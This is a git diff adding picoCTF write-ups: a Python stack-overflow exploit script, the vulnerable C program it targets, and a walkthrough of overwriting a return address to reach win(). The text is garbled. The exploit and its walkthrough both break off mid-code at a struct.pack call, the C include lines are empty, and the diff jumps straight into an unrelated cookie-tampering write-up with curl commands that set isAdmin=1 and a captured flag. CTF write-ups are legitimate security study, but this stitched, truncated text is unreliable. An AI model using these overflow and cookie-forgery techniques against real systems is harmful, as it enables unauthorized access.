diff --git a/picoctf/pwn/bufferoverflow1/exploit.py b/picoctf/pwn/bufferoverflow1/exploit.py new file mode 100644 index 00000000..ca4c3048 --- /dev/null +++ b/picoctf/pwn/bufferoverflow1/exploit.py @@ -0,0 +1,33 @@ +import socket +import argparse +import struct + +parser = argparse.ArgumentParser() +parser.add_argument("host", type=str) +parser.add_argument("port", type=int) +args = parser.parse_args() + +offset = 44 +win = struct.pack(" +#include +#include +#include +#include +//#include "asm.h" + +#define BUFSIZE 32 +#define FLAGSIZE 64 + +void win() { + char buf[FLAGSIZE]; + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("%s %s", "Please create 'flag.txt' in this directory with your", + "own debugging flag.\n"); + exit(0); + } + + fgets(buf,FLAGSIZE,f); + printf(buf); +} + +void vuln(){ + char buf[BUFSIZE]; + gets(buf); + + printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + puts("Please enter your string: "); + vuln(); + return 0; +} + diff --git a/picoctf/pwn/bufferoverflow1/writeup.md b/picoctf/pwn/bufferoverflow1/writeup.md new file mode 100644 index 00000000..cfe2137d --- /dev/null +++ b/picoctf/pwn/bufferoverflow1/writeup.md @@ -0,0 +1,165 @@ +# PicoCTF: buffer overflow 1 + +## Context + +In this challenge, we are given a vulnerable Linux binary (`vuln`) along with its source code (`vuln.c`). The goal is to exploit a stack-based buffer overflow to redirect execution to a hidden function (`win`) that prints the flag. The description given is "control the return address". + +## Background Information: Buffer Overflows + +A buffer overflow occurs when a program writes more data to a memory buffer +than it was allocated to hold. In C programs, this commonly occurs when +unsafe input functions such as `gets`, `scanf`, or improperly used `fgets` +do not enforce bounds checking. + +By overflowing a buffer on the stack, it is possible to overwrite adjacent +memory, including control data such as the saved return address. If this +return address is overwritten with a chosen value, program execution can be +redirected to an arbitrary function within the binary. + +When a function is called in a C program, the program uses the call stack to +track execution state. Each function call creates a *stack frame*, which +contains local variables and metadata required to return execution to the +caller. + +A simplified stack layout for the `vuln()` function is shown below +(addresses increase downward): + ++-----------------------------+ +| Saved Return Address (EIP) | ← overwritten target ++-----------------------------+ +| Saved Base Pointer (EBP) | ++-----------------------------+ +| char buf[32] | ← user-controlled input ++-----------------------------+ + +The *saved return address* is the address that the CPU jumps to when the +function finishes executing. Under normal execution, this points to the +instruction immediately following the function call in `main()`. + +Because `gets()` performs no bounds checking, supplying more than 32 bytes +of input allows data to overflow `buf` and overwrite values higher on the +stack, including the saved return address. If an attacker controls this +value, they can redirect execution. + +In this challenge, the binary contains a `win()` function that is never +invoked during normal execution. By overflowing `buf` and overwriting the +saved return address with the address of `win()`, execution is redirected +to `win()`, which prints the flag. + +## Background Information: Binary Protections (PIE) + +Position Independent Executable (PIE) randomizes the base address of a binary +at runtime, causing function addresses to change between executions. + +This challenge binary is compiled **without PIE**, meaning function addresses +are static. As a result, the address of the `win()` function can be determined +statically and reliably reused in the exploit. + +If PIE were enabled, an additional information leak would be required to +determine the runtime address of `win()` before overwriting the return address. + + +## Vulnerability + +The vulnerability in this challenge is a stack-based buffer overflow. +The program reads user input into a buffer without checking its length, +allowing an attacker to overwrite the saved return address on the stack. Without proper bounds checking, the program is vulnerable to memory corruption. + +Examining `vuln.c` reveals the core vulnerability: + +```c +#define BUFSIZE 32 + +void vuln(){ + char buf[BUFSIZE]; + gets(buf); + + printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); +} +``` + +Here, we see that the buffer buf is only 32 bytes long. The function `gets()` is used to read input, but `gets()` does not perform any bounds checking and will continue reading until a newline is encountered. + +This allows user input to overflow buf and overwrite data stored after it on the stack, including the saved return address. + +![Alt text] + +Also, the program includes a `win()` function as shown below: + +```c +void win() { + char buf[FLAGSIZE]; + FILE *f = fopen("flag.txt","r"); + fgets(buf,FLAGSIZE,f); + printf(buf); +} +``` + +The `win()` function reads the flag from `flag.txt` and prints it, but it is never called during normal program execution, which also makes it a target for exploitation. + +## Exploitation + +Step 1: Identifying the overflow point + +To determine how much input is required to overwrite the return address, I sent increasingly long, predictable strings to the program once prompted for input. Supplying more than 32 bytes caused the program to crash with a segmentation fault, confirming that the buffer overflow was reachable. + +By continuing to increase the input length and observing crashes, it became clear that data beyond the buffer was overwriting the saved instruction pointer. + +Using repeated characters ("A" * N) made it easy to recognize when the return address was being overwritten. When I noticed that the program attempted to jump to 0x41414141, it confirmed control over the instruction pointer since 0x41 is the ASCII value of 'A'. + +Step 2: Locating the win function + +Since the binary is not stripped, symbol information is available. The address of the win function was found using: + +`readelf -s vuln | grep win` + +This revealed the exact address of `win()` within the binary. This address is the value that needs to overwrite the saved return address. + +Step 3: Endianness + +On x86 systems, addresses are stored in little-endian format. So, I had to consider that the bytes of the win function address must be reversed when included in the payload. + +For example, if win() is located at: +0x080491f6 + +It must be written in memory as: +\xF6\x91\x04\x08 + + +Step 4: Developing the payload + +The final payload I wrote consists of padding to fill the buffer and reach the return address, and the address of win() in little-endian format. + +In Python, the payload was constructed as follows: + +```c +import struct + +offset = 44 +win_addr = struct.pack(" *"We apologize, we have no guest services at the moment."* + +Viewing the page source reveals a reference to `guest.js`, which contains the following logic: +```javascript +function continueAsGuest() { + window.location = "/check.php"; + document.cookie = "isAdmin=0"; +} +``` + +This shows that clicking the button sets an HTTP cookie `isAdmin` to `0` before redirecting to `check.php`, where the server-side PHP reads and verifies that cookie value. + +--- + +## Vulnerability + +HTTP cookies are stored client-side in the browser, meaning they can be freely viewed and modified by the user. The server-side script `check.php` uses the `isAdmin` cookie to determine whether to grant admin access — but it never validates that the cookie value was legitimately set by the server. This means an attacker can simply change `isAdmin` from `0` to `1` to impersonate an administrator. + +--- + +## Exploitation + +**Exploit overview:** Modify the `isAdmin` cookie value from `0` to `1` to trick the server into granting admin access and returning the flag. + +**Exploit mitigation considerations:** + +- **No HttpOnly or server-side session validation:** The cookie is set entirely by client-side JavaScript and is readable/writable by the user. A properly implemented auth system would use server-side session tokens that cannot be tampered with client-side. +- **Boolean trust on a client-controlled value:** The server blindly trusts the `isAdmin` value provided by the client with no cryptographic signing or verification. + +### Method 1: Browser Developer Tools + +1. Navigate to `http://saturn.picoctf.net:/` and click "Continue as Guest" +2. Open Developer Tools (`F12`) and go to the **Application** tab +3. Under **Storage → Cookies**, find the entry for `isAdmin` +4. Double-click the value field and change it from `0` to `1` +5. Hard refresh the page (`Ctrl+Shift+R`) to send the updated cookie to the server +6. `check.php` reads `isAdmin=1` and returns the flag + +### Method 2: `curl` on the Command Line +```bash +# Confirm default behavior — isAdmin=0 returns the guest error +curl --cookie "isAdmin=0" http://saturn.picoctf.net:/check.php + +# Set isAdmin=1 to gain admin access and retrieve the flag +curl -s --cookie "isAdmin=1" http://saturn.picoctf.net:/check.php | grep -o "picoCTF{.*}" +``` + +The `-s` flag suppresses download progress output, and `grep` extracts just the flag from the response. + +--- + +## Flag +``` +picoCTF{gr4d3_A_c00k13_0d351e23} +``` + +--- + +## Remediation + +To patch this vulnerability, cookie-based authentication should never rely on a client-supplied boolean value. Proper mitigations include: + +- **Server-side sessions:** Authenticate users server-side and store session state there, issuing only an opaque session token to the client that cannot be forged. +- **HttpOnly and Secure flags:** Set cookies with `HttpOnly` to prevent client-side JavaScript access, and `Secure` to ensure transmission only over HTTPS. +- **Cryptographic signing:** If cookies must carry state, sign them with a secret key (e.g., HMAC) so tampering is detectable. + +Written by Tatyana Ilieva \ No newline at end of file